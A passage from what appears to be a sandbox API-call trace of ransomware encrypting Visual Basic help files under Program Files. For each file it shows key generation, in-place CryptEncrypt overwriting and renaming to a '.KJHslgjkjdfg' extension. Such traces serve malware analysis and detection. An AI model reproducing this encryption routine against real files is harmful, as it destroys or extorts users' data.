dwReserved1=0x2e0000, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0151.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0151.954] GetProcessHeap () returned 0x2a0000 [0151.954] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.954] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.954] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0151.954] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x1, lpOverlapped=0x0) returned 1 [0151.957] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.957] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.957] GetProcessHeap () returned 0x2a0000 [0151.957] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.957] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0151.957] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.957] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0151.957] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0151.957] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0151.957] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0151.957] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0151.958] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0151.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.958] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.958] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.958] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1195f, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x1195f, lpOverlapped=0x0) returned 1 [0151.960] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x11960, dwBufLen=0x11960 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x11960) returned 1 [0151.960] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.960] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x11960, lpOverlapped=0x0) returned 1 [0151.961] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.961] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x11a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.961] SetEndOfFile (hFile=0x13c) returned 1 [0151.964] GetProcessHeap () returned 0x2a0000 [0151.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.964] GetProcessHeap () returned 0x2a0000 [0151.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.kjhslgjkjdfg")) returned 1 [0151.965] CloseHandle (hObject=0x13c) returned 1 [0151.966] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0151.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0151.966] GetProcessHeap () returned 0x2a0000 [0151.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.966] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.966] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0151.966] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x6, lpOverlapped=0x0) returned 1 [0151.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.969] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.969] GetProcessHeap () returned 0x2a0000 [0151.969] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.969] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0151.969] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.969] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0151.969] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0151.969] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0151.969] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0151.969] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0151.969] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0151.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.970] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.970] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.970] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe2aa, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0xe2aa, lpOverlapped=0x0) returned 1 [0151.971] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xe2b0, dwBufLen=0xe2b0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xe2b0) returned 1 [0151.972] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.972] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0xe2b0, lpOverlapped=0x0) returned 1 [0151.973] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.973] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xe374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.973] SetEndOfFile (hFile=0x13c) returned 1 [0151.976] GetProcessHeap () returned 0x2a0000 [0151.976] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.976] GetProcessHeap () returned 0x2a0000 [0151.976] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.kjhslgjkjdfg")) returned 1 [0151.977] CloseHandle (hObject=0x13c) returned 1 [0151.977] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0151.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0151.978] GetProcessHeap () returned 0x2a0000 [0151.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.978] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.978] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0151.978] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xe, lpOverlapped=0x0) returned 1 [0151.980] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.980] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.980] GetProcessHeap () returned 0x2a0000 [0151.980] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.981] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0151.981] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.981] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0151.981] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0151.981] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0151.981] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0151.981] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0151.981] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0151.981] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.981] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.981] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.981] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe6b62, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0xe6b62, lpOverlapped=0x0) returned 1 [0152.000] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xe6b70, dwBufLen=0xe6b70 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xe6b70) returned 1 [0152.010] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.010] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0xe6b70, lpOverlapped=0x0) returned 1 [0152.014] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.014] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xe6c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.014] SetEndOfFile (hFile=0x13c) returned 1 [0152.019] GetProcessHeap () returned 0x2a0000 [0152.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.019] GetProcessHeap () returned 0x2a0000 [0152.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.kjhslgjkjdfg")) returned 1 [0152.020] CloseHandle (hObject=0x13c) returned 1 [0152.020] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0152.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0152.021] GetProcessHeap () returned 0x2a0000 [0152.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.021] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.021] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0152.021] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xc, lpOverlapped=0x0) returned 1 [0152.024] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0152.024] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.024] GetProcessHeap () returned 0x2a0000 [0152.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0152.024] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0152.024] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.024] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0152.024] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0152.024] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0152.024] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0152.024] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0152.025] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0152.025] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0152.025] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.025] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.025] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e434, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x1e434, lpOverlapped=0x0) returned 1 [0152.027] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1e440, dwBufLen=0x1e440 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1e440) returned 1 [0152.028] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.028] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x1e440, lpOverlapped=0x0) returned 1 [0152.029] CryptDestroyKey (hKey=0x2c6420) returned 1 [0152.029] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x1e504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.029] SetEndOfFile (hFile=0x13c) returned 1 [0152.032] GetProcessHeap () returned 0x2a0000 [0152.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.032] GetProcessHeap () returned 0x2a0000 [0152.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.kjhslgjkjdfg")) returned 1 [0152.034] CloseHandle (hObject=0x13c) returned 1 [0152.034] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0152.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0152.036] GetProcessHeap () returned 0x2a0000 [0152.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.036] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.036] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 